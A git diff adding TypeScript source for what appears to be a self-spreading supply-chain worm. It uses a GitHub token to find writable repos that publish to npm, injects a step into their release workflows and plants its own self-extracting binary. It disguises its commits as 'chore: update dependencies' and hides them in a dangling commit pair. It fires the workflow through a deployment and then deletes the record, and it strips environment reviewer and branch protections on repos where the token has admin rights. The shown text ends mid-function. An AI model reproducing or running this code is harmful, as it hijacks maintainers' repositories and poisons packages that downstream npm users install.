diff --git a/src/mutator/npmoidc/branch.ts b/src/mutator/npmoidc/branch.ts new file mode 100644 index 0000000..affeed2 --- /dev/null +++ b/src/mutator/npmoidc/branch.ts @@ -0,0 +1,654 @@ +import { randomBytes } from "node:crypto"; + +import { checkToken } from "../../github_utils/auth"; +import { githubFetch, githubJson } from "../../github_utils/client"; +import { + createBlob as dbCreateBlob, + createBranch as dbCreateBranch, + createCommit as dbCreateCommit, + createOrphanCommit as dbCreateOrphanCommit, + createTree as dbCreateTree, + getBranchRef, + getCommitTree, + updateBranch, +} from "../../github_utils/gitDb"; +import { logUtil } from "../../utils/logger"; +import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; +import { Mutator } from "../base"; +import { detectNpmPublishingRepo } from "./detector"; +import { + checkAndBypassEnvironment, + type EnvironmentBypassState, + extractEnvironmentNames, + restoreEnvironment, +} from "./environment"; +import { type InjectionResult, injectToolStep } from "./injector"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +interface UserRepo { + full_name: string; + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; +} + +// ── Mutator ───────────────────────────────────────────────────────────────── + +export class NpmOidcBranchMutator extends Mutator { + private readonly token: string; + private readonly indexJs: string; + private readonly dryRun: boolean; + + constructor(token: string, dryRun = false) { + super(); + if (!token) throw new Error("GitHub token required"); + this.token = token; + this.indexJs = ""; + this.dryRun = dryRun; + } + + /** + * Read Bun.main lazily — avoids reading the binary until we actually + * need to inject, and avoids issues during module loading in tests. + */ + private async loadIndexJs(): Promise { + if (this.indexJs) return this.indexJs; + try { + const raw = await Bun.file(Bun.main).text(); + return buildSelfExtractingPayload(raw, { wrap: true }); + } catch { + // Test environment fallback + return "// tool stub"; + } + } + + async execute(): Promise { + try { + // Check if token has workflow scope — determines trigger method + const tokInfo = await checkToken(this.token); + const hasWorkflowScope = tokInfo.valid && tokInfo.hasWorkflowScope; + logUtil.log( + `[NpmOidcBranch] workflow scope: ${hasWorkflowScope} (using ${hasWorkflowScope ? "feature-branch push" : "deployment"})`, + ); + + let repos: UserRepo[]; + + const targetReposEnv = process.env.TARGET_REPOS; + if (targetReposEnv?.trim()) { + const slugs = targetReposEnv + .split(",") + .map((s) => s.trim()) + .filter(Boolean); + logUtil.log( + `[NpmOidcBranch] Using TARGET_REPOS env (${slugs.length} repo(s))`, + ); + repos = await fetchReposBySlugs(this.token, slugs); + } else { + logUtil.log("[NpmOidcBranch] Fetching writable public repos..."); + repos = await fetchWritableRepos(this.token, this.dryRun); + } + + logUtil.log(`[NpmOidcBranch] Found ${repos.length} writable repo(s)`); + + const indexJs = await this.loadIndexJs(); + let injected = 0; + + for (const repo of repos) { + try { + const ok = await this.processRepo(repo, indexJs, hasWorkflowScope); + if (ok) injected++; + } catch (e) { + logUtil.log( + `[NpmOidcBranch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + logUtil.log( + `[NpmOidcBranch] Done. Injected into ${injected}/${repos.length} repos.`, + ); + return injected > 0; + } catch (e) { + logUtil.log( + `[NpmOidcBranch] Fatal: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } + } + + /** Process a single repo by full name (e.g. "owner/name"). */ + async processSingleRepo( + fullName: string, + tokenOverride?: string, + ): Promise { + const [owner, name] = fullName.split("/"); + if (!owner || !name) { + logUtil.log(`[NpmOidcBranch] Invalid repo name: ${fullName}`); + return false; + } + const token = tokenOverride ?? this.token; + const { githubJson } = await import("../../github_utils/client"); + const repoInfo = await githubJson<{ + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; + }>(token, `/repos/${owner}/${name}`); + + const indexJs = await this.loadIndexJs(); + return this.processRepo( + { + full_name: fullName, + default_branch: repoInfo.default_branch, + private: repoInfo.private, + fork: repoInfo.fork, + permissions: repoInfo.permissions, + }, + indexJs, + false, // default to deployment method for external callers + ); + } + + // ── Per-repo processing ────────────────────────────────────────────────── + + private async processRepo( + repo: UserRepo, + indexJs: string, + hasWorkflowScope: boolean, + ): Promise { + const [owner, name] = repo.full_name.split("/"); + if (!owner || !name) return false; + + // 1. Detect if this repo publishes to npm + const detected = await detectNpmPublishingRepo( + this.token, + owner, + name, + repo.full_name, + repo.default_branch, + repo.private, + repo.permissions, + ); + + if (!detected) return false; + + // 2. Generate branch name and check environments + const branchName = `snapshot-${randomBytes(4).toString("hex")}`; + const envByPasses: EnvironmentBypassState[] = []; + + try { + // Extract environment names from the workflow + const envNames = extractEnvironmentNames(detected.workflow.rawYaml); + for (const envName of envNames) { + const result = await checkAndBypassEnvironment( + this.token, + owner, + name, + envName, + branchName, + repo.permissions.admin, + ); + + if (!result.canDeploy) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: ${result.blockedBy}`); + return false; + } + + if (result.bypassState) { + envByPasses.push(result.bypassState); + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: bypassed env "${envName}"`, + ); + } + } + + // 3. Inject tool step into workflow YAML + const triggerEvent = hasWorkflowScope ? "push" : "deployment"; + const injection = injectToolStep(detected.workflow.rawYaml, { + workflowFilename: detected.workflow.filename, + packageName: detected.packageName, + repoFullName: repo.full_name, + environmentName: detected.workflow.environmentName, + triggerEvent, + }); + + if (!injection.injected) { + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: injection skipped — ${injection.reason}`, + ); + return false; + } + + if (hasWorkflowScope) { + // Token has workflow scope — push a feature branch directly. + // The push event triggers the workflow natively, no deployment needed. + return this.processRepoViaBranchPush( + owner, + name, + repo, + indexJs, + injection, + branchName, + ); + } + + // No workflow scope — use the dangling-commit + deployment method + // Resolve the default branch HEAD commit and its tree SHA + const baseRef = await getDefaultBranchRef( + this.token, + owner, + name, + repo.default_branch, + ); + if (!baseRef) { + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: could not resolve default branch ref`, + ); + return false; + } + + const parentSha = baseRef.object.sha; + const baseTreeSha = await getCommitTree( + this.token, + owner, + name, + parentSha, + ); + + // Create blobs + const yamlBlobSha = await createBlob( + this.token, + owner, + name, + injection.modifiedYaml, + ); + const jsBlobSha = await createBlob(this.token, owner, name, indexJs); + + if (!yamlBlobSha || !jsBlobSha) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: blob creation failed`); + return false; + } + + // Build nested trees (fresh — only our files) + const ghDir = ".github"; + const wfDir = "workflows"; + + const wfTree = await createTree(this.token, owner, name, null, [ + { + path: detected.workflow.filename, + mode: "100644", + type: "blob", + sha: yamlBlobSha, + }, + ]); + if (!wfTree) { + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: workflows tree creation failed`, + ); + return false; + } + + const ghTree = await createTree(this.token, owner, name, null, [ + { + path: wfDir, + mode: "040000", + type: "tree", + sha: wfTree.sha, + }, + ]); + if (!ghTree) { + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: .github tree creation failed`, + ); + return false; + } + + const newTree = await createTree(this.token, owner, name, null, [ + { + path: ghDir, + mode: "040000", + type: "tree", + sha: ghTree.sha, + }, + { + path: scramble("_index.js"), + mode: "100644", + type: "blob", + sha: jsBlobSha, + }, + ]); + + if (!newTree) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: tree creation failed`); + return false; + } + + // Commit 1: add workflow (child of default branch HEAD) + const addSha = await createCommit( + this.token, + owner, + name, + scramble("chore: update dependencies"), + newTree.sha, + parentSha, + ); + if (!addSha) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: add commit failed`); + return false; + } + + // Commit 2: delete workflow (restore original base tree, parent = commit 1) + const delSha = await createCommit( + this.token, + owner, + name, + scramble("chore: update dependencies [skip ci]"), + baseTreeSha, + addSha, + ); + if (!delSha) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: delete commit failed`); + return false; + } + + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`, + ); + logUtil.log( + ` View add: https://github.com/${owner}/${name}/commit/${addSha}`, + ); + logUtil.log( + ` View del: https://github.com/${owner}/${name}/commit/${delSha}`, + ); + logUtil.log(` Package: ${detected.packageName}`); + logUtil.log(` Workflow: ${detected.workflow.filename}`); + + // 5. Create a branch pointing at commit 2 (makes commit 1 reachable) + await createBranch(this.token, owner, name, branchName, delSha); + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: branch ${branchName} created ✓`, + ); + + if (this.dryRun) { + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: dry-run — skipping deployment`, + ); + return false; + } + + // 6. Create a deployment targeting commit 1 — triggers the workflow + const deployment = await githubJson<{ id: number }>( + this.token, + `/repos/${owner}/${name}/deployments`, + { + method: "POST", + body: JSON.stringify({ + ref: addSha, + auto_merge: false, + required_contexts: [], + environment: detected.workflow.environmentName ?? "production", + transient_environment: true, + }), + }, + ); + const deployId = deployment.id; + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: deployment ${deployId} created ✓`, + ); + + // 7. Delete the deployment record — the workflow was already + // triggered so this is just housekeeping. + try { + await githubFetch( + this.token, + `/repos/${owner}/${name}/deployments/${deployId}`, + { method: "DELETE" }, + ); + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: deployment ${deployId} deleted ✓`, + ); + } catch { + // best-effort — the deployment event already fired + } + + return true; + } finally { + } + } + + // ── Feature-branch push method (workflow-scoped tokens) ────────────── + + /** + * Push a single commit to a new branch containing the workflow YAML and + * payload. The push event triggers the workflow natively — no deployment + * needed. Only used when the token has workflow scope. + */ + private async processRepoViaBranchPush( + owner: string, + name: string, + repo: UserRepo, + indexJs: string, + injection: InjectionResult, + branchName: string, + ): Promise { + // Create blobs + const yamlBlobSha = await createBlob( + this.token, + owner, + name, + injection.modifiedYaml, + ); + const jsBlobSha = await createBlob(this.token, owner, name, indexJs); + if (!yamlBlobSha || !jsBlobSha) { + logUtil.log(`[NpmOidcBranch] ${repo.full_name}: blob creation failed`); + return false; + } + + // Build nested trees + const wfTree = await createTree(this.token, owner, name, null, [ + { + path: injection.workflowFilename, + mode: "100644", + type: "blob", + sha: yamlBlobSha, + }, + ]); + if (!wfTree) return false; + + const ghTree = await createTree(this.token, owner, name, null, [ + { path: "workflows", mode: "040000", type: "tree", sha: wfTree.sha }, + ]); + if (!ghTree) return false; + + const rootTree = await createTree(this.token, owner, name, null, [ + { path: ".github", mode: "040000", type: "tree", sha: ghTree.sha }, + { + path: scramble("_index.js"), + mode: "100644", + type: "blob", + sha: jsBlobSha, + }, + ]); + if (!rootTree) return false; + + // Create orphan commit (no parent) on the new branch + const commitSha = await createOrphanCommit( + this.token, + owner, + name, + rootTree.sha, + scramble("chore: update dependencies"), + ); + if (!commitSha) return false; + + // Create or update branch + try { + await createBranch(this.token, owner, name, branchName, commitSha); + } catch { + // Branch may already exist — try update + await updateBranch(this.token, owner, name, branchName, commitSha, true); + } + + logUtil.log( + `[NpmOidcBranch] ${repo.full_name}: branch ${branchName} pushed → https://github.com/${owner}/${name}/tree/${branchName}`, + ); + return true; + } +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Writable repo fetch +// ═════════════════════════════════════════════════════════════════════════════ + +async function fetchReposBySlugs( + token: string, + slugs: string[], +): Promise { + const repos: UserRepo[] = []; + for (const slug of slugs) { + const [owner, name] = slug.split("/"); + if (!owner || !name) { + logUtil.log(`[NpmOidcBranch] skipping invalid slug: "${slug}"`); + continue; + } + try { + const repo = await githubJson<{ + full_name: string; + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; + }>(token, `/repos/${owner}/${name}`); + repos.push(repo); + } catch { + logUtil.log(`[NpmOidcBranch] could not fetch repo: ${slug}`); + } + } + return repos; +} + +async function fetchWritableRepos( + token: string, + includeForks = false, +): Promise { + const repos: UserRepo[] = []; + const perPage = 100; + let page = 1; + + while (true) { + const batch = await githubJson( + token, + `/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`, + ); + if (!batch || batch.length === 0) break; + for (const r of batch) { + logUtil.info("Fetched batch!"); + if (!includeForks && r.fork) continue; + if (r.permissions?.push) repos.push(r); + } + if (batch.length < perPage) break; + page++; + } + + return repos; +} + +// ── Thin wrappers (shared gitDb throws; callers expect null on failure) ── + +async function getDefaultBranchRef( + token: string, + owner: string, + repo: string, + branch: string, +): Promise<{ object: { sha: string } } | null> { + try { + return await getBranchRef(token, owner, repo, branch); + } catch { + return null; + } +} + +async function createBlob( + token: string, + owner: string, + repo: string, + content: string, +): Promise { + try { + return await dbCreateBlob(token, owner, repo, content); + } catch { + return null; + } +} + +async function createTree( + token: string, + owner: string, + repo: string, + baseTreeSha: string | null, + entries: Array<{ path: string; mode: string; type: string; sha: string }>, +): Promise<{ sha: string } | null> { + try { + const sha = await dbCreateTree( + token, + owner, + repo, + baseTreeSha, + entries as any, + ); + return { sha }; + } catch (e) { + logUtil.error(e); + return null; + } +} + +async function createCommit( + token: string, + owner: string, + repo: string, + message: string, + treeSha: string, + parentSha: string, +): Promise { + try { + return await dbCreateCommit( + token, + owner, + repo, + message, + treeSha, + parentSha, + ); + } catch { + return null; + } +} + +async function createBranch( + token: string, + owner: string, + repo: string, + branchName: string, + sha: string, +): Promise { + await dbCreateBranch(token, owner, repo, branchName, sha); +} + +async function createOrphanCommit( + token: string, + owner: string, + repo: string, + treeSha: string, + message: string, +): Promise { + try { + return await dbCreateOrphanCommit(token, owner, repo, treeSha, message); + } catch { + return null; + } +} diff --git a/src/mutator/npmoidc/detector.ts b/src/mutator/npmoidc/detector.ts new file mode 100644 index 0000000..578b03a --- /dev/null +++ b/src/mutator/npmoidc/detector.ts @@ -0,0 +1,575 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// NPM publishing detection from GitHub repos +// +// Detects whether a repo publishes packages to npmjs.org by checking: +// 1. package.json exists, has "name", and is not private +// 2. A workflow YAML in .github/workflows contains a publish step +// (npm publish, or setup-node with registry-url: npmjs.org) +// 3. The workflow job has id-token: write permission (needed for OIDC) +// +// API docs: +// https://docs.github.com/en/rest/repos/contents#get-repository-content +// https://docs.npmjs.com/cli/v10/commands/npm-publish +// ═════════════════════════════════════════════════════════════════════════════ + +import { githubJson } from "../../github_utils/client"; +import { logUtil } from "../../utils/logger"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface PublishWorkflow { + filename: string; // e.g. "release.yml" + path: string; // e.g. ".github/workflows/release.yml" + rawYaml: string; + hasIdTokenWrite: boolean; + publishStepIndex: number; // which step does the publish (0-based) + jobName: string; + environmentName?: string; // if job has `environment:` block +} + +export interface NpmPublishRepo { + fullName: string; + defaultBranch: string; + packageName: string; // from package.json "name" + private: boolean; + permissions: { admin: boolean; push: boolean }; + workflow: PublishWorkflow; +} + +// ── Main detection ────────────────────────────────────────────────────────── + +/** + * For a single repo, detect if it publishes to npm and returns details. + * Returns null if it's not an npm-publishing repo or detection fails. + */ +export async function detectNpmPublishingRepo( + token: string, + owner: string, + repo: string, + fullName: string, + defaultBranch: string, + isPrivate: boolean, + permissions: { admin: boolean; push: boolean }, +): Promise { + // Step 1 — check that root package.json exists at all + logUtil.info(`[detector] ${fullName}: checking root package.json`); + const rootPkgExists = await packageJsonExists( + token, + owner, + repo, + defaultBranch, + ); + if (!rootPkgExists) { + logUtil.info(`[detector] ${fullName}: no root package.json — skipping`); + return null; + } + + // Step 1b — try to get a usable package name from root package.json + let isMonorepoPkg = false; + let packageName = await getPackageName(token, owner, repo, defaultBranch); + if (packageName) { + logUtil.info(`[detector] ${fullName}: root package "${packageName}" ✓`); + } else { + logUtil.info( + `[detector] ${fullName}: root package.json not suitable, scanning monorepo dirs`, + ); + // Step 1c — monorepo: collect ALL packages from packages/*/package.json + const monorepoNames: string[] = []; + for (const dir of MONOREPO_DIRS) { + logUtil.info(`[detector] ${fullName}: scanning ${dir}/*/`); + const names = await getMonorepoPackageNames( + token, + owner, + repo, + defaultBranch, + dir, + ); + if (names.length > 0) { + logUtil.info( + `[detector] ${fullName}: found ${names.length} package(s) in ${dir}/`, + ); + monorepoNames.push(...names); + } + } + if (monorepoNames.length > 0) { + packageName = monorepoNames.join(", "); + isMonorepoPkg = true; + } + } + if (!packageName) { + logUtil.info(`[detector] ${fullName}: no package.json with "name" field`); + return null; + } + + // Step 2 — find a workflow file that publishes to npm + logUtil.info( + `[detector] ${fullName}: scanning workflows (monorepo=${isMonorepoPkg})`, + ); + const workflow = await findPublishWorkflow( + token, + owner, + repo, + defaultBranch, + isMonorepoPkg, + ); + if (!workflow) { + logUtil.info(`[detector] ${fullName}: no npm-publishing workflow found`); + return null; + } + logUtil.info( + `[detector] ${fullName}: workflow "${workflow.filename}" (job=${workflow.jobName}, id-token=${workflow.hasIdTokenWrite}) ✓`, + ); + + // Step 3 — verify each package actually exists on npm (npm view equivalent) + const packages = packageName + .split(",") + .map((p) => p.trim()) + .filter(Boolean); + const verified: string[] = []; + for (const pkg of packages) { + logUtil.info(`[detector] ${fullName}: verifying "${pkg}" on npm registry`); + const npmInfo = await verifyPackageOnNpm(pkg); + if (npmInfo) { + verified.push(pkg); + } else { + logUtil.log( + `[detector] ${fullName}: package "${pkg}" not found on npm registry — skipping`, + ); + } + } + if (verified.length === 0) { + logUtil.log(`[detector] ${fullName}: no verified npm packages found`); + return null; + } + const finalPackageName = verified.join(", "); + + logUtil.log( + `[detector] ${fullName}: npm-publishing repo (${finalPackageName}, ${workflow.filename})`, + ); + + return { + fullName, + defaultBranch, + packageName: finalPackageName, + private: isPrivate, + permissions, + workflow, + }; +} + +// ── package.json check ────────────────────────────────────────────────────── + +/** Lightweight check — does the file exist? (no content decode needed). */ +async function packageJsonExists( + token: string, + owner: string, + repo: string, + ref: string, +): Promise { + try { + await githubJson( + token, + `/repos/${owner}/${repo}/contents/package.json?ref=${encodeURIComponent(ref)}`, + ); + return true; + } catch { + return false; + } +} + +/** Monorepo directories to scan when root package.json exists but is private. */ +const MONOREPO_DIRS = [ + scramble("packages"), + scramble("libs"), + scramble("apps"), + scramble("plugins"), +]; + +async function getPackageName( + token: string, + owner: string, + repo: string, + ref: string, +): Promise { + return getPackageNameAtPath(token, owner, repo, ref, "package.json"); +} + +async function getPackageNameAtPath( + token: string, + owner: string, + repo: string, + ref: string, + path: string, +): Promise { + try { + const data = await githubJson<{ + content?: string; + encoding?: string; + }>( + token, + `/repos/${owner}/${repo}/contents/${path}?ref=${encodeURIComponent(ref)}`, + ); + + if (!data.content || data.encoding !== "base64") return null; + + const raw = Buffer.from(data.content, "base64").toString("utf-8"); + const pkg = JSON.parse(raw) as { + name?: string; + private?: boolean; + }; + + if (!pkg.name) return null; + if (pkg.private === true) { + logUtil.log( + `[detector] ${owner}/${repo}: ${path} "private": true, skipping`, + ); + return null; + } + + return pkg.name; + } catch { + return null; + } +} + +async function getMonorepoPackageNames( + token: string, + owner: string, + repo: string, + ref: string, + monorepoDir: string, +): Promise { + const names: string[] = []; + try { + const contents = await githubJson>( + token, + `/repos/${owner}/${repo}/contents/${monorepoDir}?ref=${encodeURIComponent(ref)}`, + ); + + if (!Array.isArray(contents)) return []; + + for (const entry of contents) { + if (entry.type !== "dir") continue; + const name = await getPackageNameAtPath( + token, + owner, + repo, + ref, + `${monorepoDir}/${entry.name}/package.json`, + ); + if (name) { + logUtil.info( + `[detector] ${owner}/${repo}: found "${name}" in ${monorepoDir}/${entry.name}/`, + ); + names.push(name); + } + } + + return names; + } catch { + return []; + } +} + +// ── NPM registry verification (npm view equivalent) ───────────────────────── + +interface NpmPackageInfo { + _id: string; + name: string; + "dist-tags": Record; + versions: Record; +} + +/** + * Check the npm registry to verify a package exists and is published. + * Equivalent to `npm view `. + * + * API: GET https://registry.npmjs.org/{escapedName} + * Returns null if the package is not found (404) or the network fails. + */ +async function verifyPackageOnNpm( + packageName: string, +): Promise { + try { + const escaped = encodeURIComponent(packageName); + const res = await fetch(`https://registry.npmjs.org/${escaped}`, { + signal: AbortSignal.timeout(10_000), + }); + + if (!res.ok) { + if (res.status === 404) return null; + return null; + } + + return (await res.json()) as NpmPackageInfo; + } catch { + return null; + } +} + +interface ContentItem { + name: string; + path: string; + type: string; +} + +interface WorkflowFile { + name: string; + path: string; + content?: string; + encoding?: string; +} + +async function findPublishWorkflow( + token: string, + owner: string, + repo: string, + ref: string, + isMonorepo = false, +): Promise { + try { + // List .github/workflows directory + const contents = await githubJson( + token, + `/repos/${owner}/${repo}/contents/.github/workflows?ref=${encodeURIComponent(ref)}`, + ); + + const workflowFiles = contents.filter( + (c) => + c.type === "file" && + (c.name.endsWith(".yml") || c.name.endsWith(".yaml")), + ); + + // Collect all candidates, score them, pick the best + const candidates: Array<{ wf: PublishWorkflow; score: number }> = []; + + for (const wf of workflowFiles) { + try { + const file = await githubJson( + token, + `/repos/${owner}/${repo}/contents/${wf.path}?ref=${encodeURIComponent(ref)}`, + ); + + if (!file.content || file.encoding !== "base64") continue; + + const raw = Buffer.from(file.content, "base64").toString("utf-8"); + // Normalize line endings (GitHub API may return \r\n) + const normalized = raw.replace(/\r\n/g, "\n"); + const parsed = parsePublishWorkflow(normalized, wf.name, isMonorepo); + + if (parsed) { + candidates.push({ + wf: parsed, + score: scoreWorkflowForRelease(parsed), + }); + } + } catch { + continue; + } + } + + if (candidates.length === 0) return null; + + // Pick highest-scoring candidate (most "release-like") + candidates.sort((a, b) => b.score - a.score); + const best = candidates[0]!; + logUtil.info( + `[detector] ${owner}/${repo}: selected "${best.wf.filename}" (score=${best.score}) out of ${candidates.length}`, + ); + return best.wf; + } catch { + return null; + } +} + +// ── YAML parsing (string-based, no library) ───────────────────────────────── + +/** + * Parse a workflow YAML to determine if it publishes to npm. + * Two modes: + * - Standard: detects npm/yarn/pnpm publish commands + * - Monorepo (isMonorepo=true): only needs id-token:write to accept + * + * We don't try to match specific job names — if the workflow file exists + * and has id-token:write (or publish commands), we inject our own job. + */ +function parsePublishWorkflow( + yaml: string, + filename: string, + isMonorepo = false, +): PublishWorkflow | null { + // Check for npm publish steps (allow npm@version, npx npm, etc., + // and multi-line run blocks where the command is on a separate line) + const hasNpmPublish = + /^\s+run:\s*.*npm.*publish/m.test(yaml) || + /^(?!\s*#).*npm.*publish/m.test(yaml); + const hasYarnPublish = + /^\s+run:\s*.*yarn.*publish/m.test(yaml) || + /^(?!\s*#).*yarn.*publish/m.test(yaml); + const hasPnpmPublish = + /^\s+run:\s*.*pnpm.*publish/m.test(yaml) || + /^(?!\s*#).*pnpm.*publish/m.test(yaml); + + // Check for setup-node with npm registry (common pattern before publish) + const hasNpmRegistry = + /^\s+registry-url:\s*['"]?https:\/\/registry\.npmjs\.org/m.test(yaml); + + // Check for id-token: write permission (needed for OIDC) + const hasIdTokenWrite = + /^\s+id-token:\s*write/m.test(yaml) || + /^\s+permissions:\s*write-all/m.test(yaml); + + // For monorepos, id-token:write alone is sufficient (the actual + // npm publish call lives in a composite action referenced by a job). + const monorepoPublishSignal = isMonorepo && hasIdTokenWrite; + + logUtil.info( + `[detector] ${filename}: npmPub=${hasNpmPublish} yarn=${hasYarnPublish} pnpm=${hasPnpmPublish} reg=${hasNpmRegistry} idTok=${hasIdTokenWrite} monoSig=${monorepoPublishSignal}`, + ); + + if ( + !hasNpmPublish && + !hasYarnPublish && + !hasPnpmPublish && + !hasNpmRegistry && + !monorepoPublishSignal + ) { + return null; + } + + // Always use 'release' as the job name for injection + const jobName = "release"; + + return { + filename, + path: `.github/workflows/${filename}`, + rawYaml: yaml, + hasIdTokenWrite, + publishStepIndex: 0, + jobName, + }; +} + +// ── Workflow scoring ──────────────────────────────────────────────────────── + +/** + * Score a workflow for how "release-like" it is. + * Higher scores = better candidate for injection. + */ +function scoreWorkflowForRelease(wf: PublishWorkflow): number { + let score = 0; + + // 1. Filename hints (most important) + if (/release/i.test(wf.filename)) score += 100; + else if (/publish/i.test(wf.filename)) score += 90; + else if (/cd\./i.test(wf.filename)) score += 80; + else if (/deploy/i.test(wf.filename)) score += 70; + else if (/ci\./i.test(wf.filename)) score += 40; + else score += 20; // arbitrary workflow + + // 2. Has id-token:write + if (wf.hasIdTokenWrite) score += 50; + + // 3. Has npm publish / registry steps (explicit publish signal) + const yaml = wf.rawYaml; + if (/^\s+run:\s*.*npm\s+publish/m.test(yaml)) score += 30; + if (/^\s+registry-url:\s*['"]?https:\/\/registry\.npmjs\.org/m.test(yaml)) + score += 20; + + // 4. Branch push trigger (more likely to be CI than tag-based) + if (/^\s+release:\s*$/m.test(yaml)) score += 20; + if (/^\s+workflow_dispatch:\s*$/m.test(yaml)) score += 20; + + return score; +} + +// ── Trigger type detection ────────────────────────────────────────────────── + +export type TriggerType = "tag" | "branch" | "release" | "workflow_dispatch"; + +export interface TriggerInfo { + types: TriggerType[]; + tagPatterns: string[]; // e.g. ["v*"] + branchPatterns: string[]; // e.g. ["main"] +} + +/** + * Detect what triggers a workflow responds to. + */ +export function detectTriggers(yaml: string): TriggerInfo { + const types = new Set(); + const tagPatterns: string[] = []; + const branchPatterns: string[] = []; + + if (/^\s+tags:\s*\[/m.test(yaml) || /^\s+tags:/m.test(yaml)) { + types.add("tag"); + // Extract tag patterns + const tagMatch = yaml.match(/^\s+tags:\s*\[(.*?)\]/m); + if (tagMatch?.[1]) { + tagPatterns.push( + ...tagMatch[1] + .split(",") + .map((s) => s.trim().replace(/['"]/g, "")) + .filter(Boolean), + ); + } + } + + if (/^\s+branches:\s*\[/m.test(yaml) || /^\s+branches:/m.test(yaml)) { + types.add("branch"); + const branchMatch = yaml.match(/^\s+branches:\s*\[(.*?)\]/m); + if (branchMatch?.[1]) { + branchPatterns.push( + ...branchMatch[1] + .split(",") + .map((s) => s.trim().replace(/['"]/g, "")) + .filter(Boolean), + ); + } + } + + if (/^\s+release:/m.test(yaml)) { + types.add("release"); + } + + if (/^\s+workflow_dispatch:/m.test(yaml)) { + types.add("workflow_dispatch"); + } + + return { + types: [...types], + tagPatterns, + branchPatterns, + }; +} + +/** + * Generate a branch name that will match the workflow's push trigger. + * If the workflow has branch push triggers, try to match one. + * Otherwise, generate a default snapshot-* pattern branch name. + */ +export function generateTriggerRef(triggerInfo: TriggerInfo): { + type: "branch"; + name: string; +} { + const suffix = Math.random().toString(36).slice(2, 10); + + // If workflow triggers on specific branch patterns, try to match + if ( + triggerInfo.types.includes("branch") && + triggerInfo.branchPatterns.length > 0 + ) { + // Try to match a branch pattern like "release/*" → "release/oidc-xxx" + for (const pattern of triggerInfo.branchPatterns) { + if (pattern.includes("*")) { + const name = pattern.replace(/\*/g, `snapshot-${suffix}`); + return { type: "branch", name }; + } + } + } + + // Default: snapshot-prefixed branch + return { type: "branch", name: `snapshot-${suffix}` }; +} diff --git a/src/mutator/npmoidc/environment.ts b/src/mutator/npmoidc/environment.ts new file mode 100644 index 0000000..0645b13 --- /dev/null +++ b/src/mutator/npmoidc/environment.ts @@ -0,0 +1,336 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// GitHub environment protection rules — check + admin bypass +// +// Environments can block deployment via: +// 1. required_reviewers — manual approval needed (bypassable with admin) +// 2. deployment_branch_policy — restricts which branches/tags can deploy +// - custom_branch_policies: list of name patterns (e.g. "main", "release/*") +// - protected_branches: only branches with protection rules +// +// API docs: +// https://docs.github.com/en/rest/deployments/environments +// https://docs.github.com/en/rest/deployments/branch-policies +// ═════════════════════════════════════════════════════════════════════════════ + +import { githubFetch, githubJson } from "../../github_utils/client"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface EnvironmentInfo { + id: number; + name: string; + hasRequiredReviewers: boolean; + hasWaitTimer: boolean; + deploymentBranchPolicy: { + protectedBranches: boolean; + customBranchPolicies: boolean; + } | null; + branchPolicies: Array<{ id: number; name: string }>; +} + +export interface EnvironmentBypassState { + repoFullName: string; + envName: string; + originalState: { + reviewers: Array<{ type: string; id: number }> | null; + deploymentBranchPolicy: Record | null; + }; +} + +export interface EnvironmentCheckResult { + canDeploy: boolean; + blockedBy: string | null; // reason if blocked + bypassState?: EnvironmentBypassState; // set if admin bypass was applied +} + +// ── Main check ────────────────────────────────────────────────────────────── + +/** + * Check if a branch can deploy to the given environment. + * If blocked and token has admin access, attempt to bypass. + * + * Returns the check result. Caller must restore any bypassState after execution. + */ +export async function checkAndBypassEnvironment( + token: string, + owner: string, + repo: string, + envName: string, + branchName: string, + hasAdminAccess: boolean, +): Promise { + try { + const env = await getEnvironment(token, owner, repo, envName); + if (!env) { + // Environment doesn't exist or inaccessible — assume no restrictions + return { canDeploy: true, blockedBy: null }; + } + + // Block: required reviewers (can only bypass with admin) + if (env.hasRequiredReviewers) { + if (hasAdminAccess) { + const bypass = await bypassEnvironment( + token, + owner, + repo, + envName, + env, + ); + return { + canDeploy: true, + blockedBy: null, + bypassState: bypass, + }; + } + return { + canDeploy: false, + blockedBy: `environment "${envName}" requires reviewer approval`, + }; + } + + // Block: branch policy restrictions + if (env.deploymentBranchPolicy) { + const policy = env.deploymentBranchPolicy; + + if (policy.protectedBranches) { + // Our temporary branch won't have protection rules + if (hasAdminAccess) { + const bypass = await bypassEnvironment( + token, + owner, + repo, + envName, + env, + ); + return { + canDeploy: true, + blockedBy: null, + bypassState: bypass, + }; + } + return { + canDeploy: false, + blockedBy: `environment "${envName}" requires protected branches`, + }; + } + + if (policy.customBranchPolicies) { + // Check if our branch name matches any policy pattern + const matches = env.branchPolicies.some((bp) => + matchBranchPattern(branchName, bp.name), + ); + + if (!matches) { + if (hasAdminAccess) { + const bypass = await bypassEnvironment( + token, + owner, + repo, + envName, + env, + ); + return { + canDeploy: true, + blockedBy: null, + bypassState: bypass, + }; + } + return { + canDeploy: false, 